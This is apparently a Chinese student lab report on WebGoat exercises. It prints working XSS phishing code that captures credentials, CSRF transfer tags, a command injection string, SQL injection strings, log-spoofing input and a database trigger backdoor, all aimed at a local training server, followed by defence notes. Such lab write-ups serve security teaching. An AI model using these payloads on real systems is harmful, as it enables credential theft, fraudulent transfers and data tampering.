1. 程式人生 > >20155233 劉高樂 Exp9 Web安全基礎

20155233 劉高樂 Exp9 Web安全基礎

-s 原理 讀取 aws backdoor UNC 日誌 用戶修改 web

WbGoat

  • 輸入java -jar webgoat-container-7.1-exec.jar

技術分享圖片

  • 在瀏覽器輸入localhost:8080/WebGoat,進入WebGoat開始實驗

技術分享圖片

Cross-Site Scripting(XSS)練習

1.Phishing with XSS (網路釣魚)

  • 在搜索框中輸入XSS攻擊代碼,利用XSS可以在已存在的頁面中進一步添加元素的特點。我們先創建一個form,讓受害人在我們創建的form中填寫用戶名和密碼,再添加一段JavaScript代碼,讀取受害人輸入的用戶名和密碼,完整的XSS攻擊代碼如下:

    </form>
    <script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
    </script>
    <form name="phish">
    <br>
    <br>
    <HR>
    <H2>This feature requires account login:</H2>
    <br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
    <br>
    <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
  • 在搜索框中輸入攻擊代碼後點擊搜索,會看到一個要求輸入用戶名密碼的表單,如圖所示:

技術分享圖片

  • 輸入用戶名密碼,點擊登錄,WebGoat會將你輸入的信息捕獲並反饋給你:

技術分享圖片

2.Stored XSS Attacks

  • 創建非法的消息內容,可以導致其他用戶訪問時載入非預期的頁面或內容,輸入標題,然後在message中輸入一串代碼,比如:
    <script>alert("20155233 attack succeed!");</script>

技術分享圖片

  • 提交後,再次點擊剛剛創建的帖子,成功彈出窗口,說明攻擊成功:

技術分享圖片

3.Reflected XSS Attacks

  • 當我們輸入錯誤用戶信息後,服務器校驗輸入有誤,返回錯誤頁面並將錯誤內容展示給我們看:

技術分享圖片

  • 這時如果我們將帶有攻擊性的URL作為輸入源,例如依舊輸入<script>alert("20155233 attack succeed!");</script>,就會彈出對話框:

技術分享圖片

  • 存儲型XSS是持久化的,代碼是存儲在服務器中,比較典型的例子就是上面所用的留言板;

  • 反射型XSS攻擊是非持久化的,應用的場景比如欺騙用戶自己去點擊鏈接才能觸發XSS代碼,也就是說它的代碼是不存在服務器中的。

4.Cross Site Request Forgery(CSRF)

  • 寫一個URL誘使其他用戶點擊,從而觸發CSRF攻擊,通過圖片的的形式將URL放進Message框,這時的URL對其他用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件。

技術分享圖片

  • 我們在message框中輸入這樣一串代碼:<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=500" width="1" height="1">

技術分享圖片

5.CSRF Prompt By-Pass

  • 內容和前者相似,只不過這次需要確認轉賬,首先編輯內容<img src="http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=500" width="1" height="1">

  • 在瀏覽器中輸入URL:localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=CONFIRM

技術分享圖片

  • 點擊CONFIRM按鈕,再在瀏覽器中輸入URL:http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=CONFIRM,成功轉走了5000元:

技術分享圖片

Injection Flaws練習

6.Command Injection

  • 點擊右上角小蟲對源碼進行修改,例如在BackDoors.help旁邊加上"& netstat -an & ipconfig"

技術分享圖片

技術分享圖片

  • 之後在下拉菜單中能看到我們修改後的值:

技術分享圖片

  • 選中修改後的值再點view,可以看到命令被執行,出現系統網絡連接情況:

技術分享圖片

7.Numeric SQL Injection

  • 通過註入SQL字符串的方式查看所有的天氣數據,加上一個1=1這種永真式即可達到我們的目的,利用firebug,在任意一個值比如101旁邊加上or 1=1

技術分享圖片

  • 選中Columbia,點Go,可以看到所有天氣數據:

技術分享圖片

8.Log Spoofing

  • 我們輸入的用戶名會被追加到日誌文件中,所以我們可以使用障眼法來使用戶名為admin的用戶在日誌中顯示“成功登錄”,在User Name文本框中輸入20155233%0d%0aLogin Succeeded for username: admin,其中%0d是回車,%0a是換行符:

技術分享圖片

  • 上圖可顯示我們攻擊成功。

9.String SQL Injection

  • 構造SQL註入字符串,在文本框中輸入‘ or 1=1 --

技術分享圖片

  • 點擊GO,可以查看到所以信息:

技術分享圖片

10.LAB:SQL Injection(Stage 1:String SQL Injection)

  • 查看輸入框最大長度並修改長度:

技術分享圖片

技術分享圖片

  • 以用戶John登錄,在密碼欄中輸入‘ or 1=1 --進行SQL註入:

技術分享圖片

11.Database Backdoors

  • 先輸一個101,得到了該用戶的信息:

技術分享圖片

  • 可以發現輸入的語句沒有驗證,很容易進行SQL註入,輸入註入語句:101; update employee set salary=100000,成功把該用戶的工資漲到了100000:

技術分享圖片

  • 接下來使用語句101;CREATE TRIGGER lglBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘[email protected]‘ WHERE userid = NEW.userid創建一個後門,把表中所有的郵箱和用戶ID都設為我的:

技術分享圖片

基礎問題回答

  • SQL註入攻擊原理,如何防禦?
    • 答:SQL註入攻擊就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意SQL命令的目的。
    • 對於SQL註入攻擊的防範:使用正則表達式過濾傳入的參數,字符串過濾,jsp中調用該函數檢查是否包函非法字符。
  • XSS攻擊的原理,如何防禦?

    • 答:XSS是代碼註入的一種,它允許惡意用戶將代碼註入到網頁上,並能夠被瀏覽器成功的執行,其他用戶在觀看網頁時就會受到影響。這類攻擊通常包含了HTML以及用戶端腳本語言。XSS攻擊的主要目的是,想辦法獲取目標攻擊網站的cookie,因為有了cookie相當於有了seesion,有了這些信息就可以在任意能接進互聯網的pc登陸該網站,並以其他人的身份登陸,做一些破壞。

XSS的防禦可以從以下兩方面來進行: 一種方法是在表單提交或者url參數傳遞前,對需要的參數進行過濾;檢查用戶輸入的內容中是否有非法內容,如尖括號、引號等,嚴格控制輸出。

  • CSRF攻擊原理,如何防禦?

    • 答:XSS是跨站腳本攻擊,就是在用戶的瀏覽器中執行攻擊者的腳本,來獲得其cookie等信息。而CSRF是借用用戶的身份,向web server發送請求,因為該請求不是用戶本意,所以稱為“跨站請求偽造”。

對於CSRF的防禦也可以從以下幾個方面入手:通過referer、token或者驗證碼來檢測用戶提交;盡量不要在頁面的鏈接中暴露用戶隱私信息,對於用戶修改刪除等操作最好都使用post操作;避免全站通用的cookie,嚴格設置cookie的域。

實驗體會

  • 本次實驗讓我體會到網絡安全的重要性,以及web網站安全編程的迫切性,可想而知,如果有人去找你網站的漏洞,那麽只有你有一個可攻擊點,那麽這可能毀了整個網站,造成巨大的損失。其次,本次實驗練習了好多攻擊方式這對知識的提高有很大的幫助,也明白了其具體的工作流程,增深了對知識點的掌握。

20155233 劉高樂 Exp9 Web安全基礎